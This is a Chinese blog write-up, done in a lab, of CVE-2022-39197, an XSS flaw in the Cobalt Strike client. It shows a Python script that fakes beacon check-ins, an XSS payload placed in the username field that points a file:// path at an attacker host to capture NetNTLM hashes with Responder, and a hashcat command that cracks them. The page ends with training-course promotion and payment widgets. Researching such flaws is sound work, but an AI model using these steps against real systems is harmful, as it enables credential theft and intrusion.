针对CS最新XSS漏洞的详细研究--CVE-2022-39197

1. 原理部分

1.1 CS上线流量

本地主机(vm8网卡):windows11 192.168.52.1

服务端:windows10 192.168.52.129

被控端:windows10 192.168.52.140

首先生成一个裸奔马,然后在被控端打开wireshark并且点击exe上线,我们这里只考虑应用层的包,所以过滤一下,我这里得到4个包。

image-20220925143001961

前两个先不看,先看3和4,他们比较亲民点,追踪流发现cookie中存在一个加密过后的值,而凭借经验不难看出很大可能是RSA非对称加密,猜想这个就是上线的请求了(也就是心跳包)。

image-20220925143036316

为了验证猜想,我用本地主机利用python发出该请求代码如下(这里为了书写方便附加个hearder转字典地址:公众号后回复“header转字典”即可)。

import requests
import time

url = 'http://192.168.52.128/fwlink'
header = {
    "Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
    "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
    "Host":"192.168.52.128",
    "Connection":"Keep-Alive",
    "Cache-Control":"no-cache"
}


while True:
    requests.get(url,headers=header)
    time.sleep(10)

可以看到达到效果了。

image-20220925144510463

当然我们这里想获得类似的信息也可以通过我们上图中第一个请求OwQF来拿Stage分析出来,这里可以用大佬的工具。

image-20220925154133839

https://github.com/Sentinel-One/CobaltStrikeParser

image-20220925153457269

上图中PublicKey并不是真正的key,里面有些垃圾填充,就是后边那些AAAAAAA,所以正确的key如下所示:

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB==

到这里就可以利用脚本来达到批量上线的目的了,这里可以利用LiAoRJ师傅现成的脚本达到上线的目的

https://github.com/LiAoRJ/CS_fakesubmit

image-20220925160203103

原理也是非常简单,就是更改对应stage不同位置对应的值。

image-20220925160321083

2. XSS利用


目前CS出现XSS漏洞的原因主要是因为CS的客户端可以被HTML渲染,目前已知存在位置为计算机名,username等,因为再前面我们可以自定义上线,所以更改一下这些地方的信息不是难事。

2.1 反制获取NTLM

这个是现在网上复现成功较多的,也非常简单,首先我在kali启动responder

responder -v -I eth0

开始监听,

image-20220925193907803

这时我们只需要将XSS的payload加到CS的用户名那里,payload如下

<html><img src='file://192.168.52.129/a'%>

我们还是利用fakesubmit,然后将User_name字典的内容改成如下所示,然后上线一台机器。

image-20220925204009591

由于我们的这个payload有点长,而原有的fakesubmitrsa.encrypt加密函数最多加密117字节,所以会报错,然后我简单的改了下脚本,如下图所示需要自己对照改。

image-20220925210054836

然后直接执行脚本上线。

image-20220925204354301

然后再回头看我们的kali

image-20220925204723985

ok,这回我们可以拿着hash去爆破了。

image-20220925204925714

创建了test将hash放进去,

#-m 指定密文类型,5600对应的就是NetNTLMv2
#--force 为忽略警告
hashcat -m 5600  ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force

爆破成功。

image-20220925205020596

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值